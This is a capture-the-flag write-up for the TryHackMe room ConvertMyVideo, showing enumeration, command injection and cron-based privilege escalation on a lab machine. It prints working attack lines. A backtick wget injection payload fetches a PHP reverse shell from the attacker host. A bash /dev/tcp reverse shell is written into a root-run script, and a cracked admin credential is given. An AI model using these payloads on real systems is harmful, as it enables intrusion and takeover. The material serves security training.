> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/red-teaming/tcm-linux-privilege-escalation-course/tryhackme-convertmyvideo-medium.md).

# TryHackMe - ConvertMyVideo (Medium)

## Summary

Port 80 hosts a "Convert My Video" service, which is a GUI wrapper of [youtube-dl](https://github.com/ytdl-org/youtube-dl). Intercept the request with Burp and analyze it. Here we use command injection to transfer a PHP reverse shell payload to the victim machine and get a user shell as www-data.

In the privilege escalation phase, pspy finds a script gets executed as root every minute or so. Moreover, www-data has write permission on that script. Here we overwrite the script with a Bash reverse shell payload and catch a reverse shell as root.

## IP

* RHOST: 10.10.108.142
* LHOST: 10.13.12.2

## Nmap

![Nmap](https://i.imgur.com/pCmBjTW.png)

## Asset Discovery

Run Gobuster:

```bash
gobuster dir -u http://convertmyvideo.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Gobuster finds `/admin`:

![Gobuster](https://i.imgur.com/ruVSuqx.png)

`http://convertmyvideo.thm/admin` prompts a login form but we don't know the credential yet:

![/admin](https://i.imgur.com/DcIoCKI.png)

## www-data Shell: Command Injection

Use `1337` as input, capture the request and send it to Repeater:

![Repeater](https://i.imgur.com/u1gYW91.png)

Try command injection:

![id](https://i.imgur.com/fK8tL5M.png)

It works. Now let's try to transfer a PHP reverse shell payload to the victim machine. Start a HTTP server:

```bash
updog -p 80
```

Use the following payload to transfer the PHP reverse shell payload:

```
`wget${IFS}http://10.13.12.2/php-reverse-shell.php`
```

Here `${IFS}` must be used to represent space, otherwise the syntax of the payload will be interpreted incorrectly. Send this request:

![wget](https://i.imgur.com/JxXTKxn.png)

Trigger the payload at `http://convertmyvideo.thm/php-reverse-shell.php` and catch a reverse shell as www-data:

![www-data shell](https://i.imgur.com/5E3Xu6Z.png)

## User Shell: Password Cracking

In `/var/www/html/admin`, we fidn `.htaccess` and `.htpasswd`:

![/var/www/html/admin](https://i.imgur.com/5LSxpWV.png)

Recall that `http://convertmyvideo.thm/admin` prompts a login form and we did not know the credential. Here `.htaccess` and `.htpasswd` are responsible for this login form. The `.htpasswd` file contains a password hash and we should try to crack it using John:

```bash
john htpasswd -w=/usr/share/wordlists/rockyou.txt
```

The credential is `itsmeadmin:jessie`:

![Credential](https://i.imgur.com/yODEvoC.png)

We won't use this credential though: it is possible to become root from www-data directly.

## Privilege Escalation: Cronjob + Weak Permission

Transfer pspy64 to the victim machine. Note that `/var/www/html/tmp/clean.sh` is executed as root by some cronjob:

![pspy64](https://i.imgur.com/g5a1sOv.png)

We (www-data) have write permission on this script:

![Write permission](https://i.imgur.com/8DoJSKQ.png)

Start a pwncat listener and write Bash reverse shell into `/var/www/html/tmp/clean.sh`:

```bash
echo 'bash -i >& /dev/tcp/10.13.12.2/1337 0>&1' > /var/www/html/tmp/clean.sh
```

Catch a reverse shell as root:

![root shell](https://i.imgur.com/7TR1FI6.png)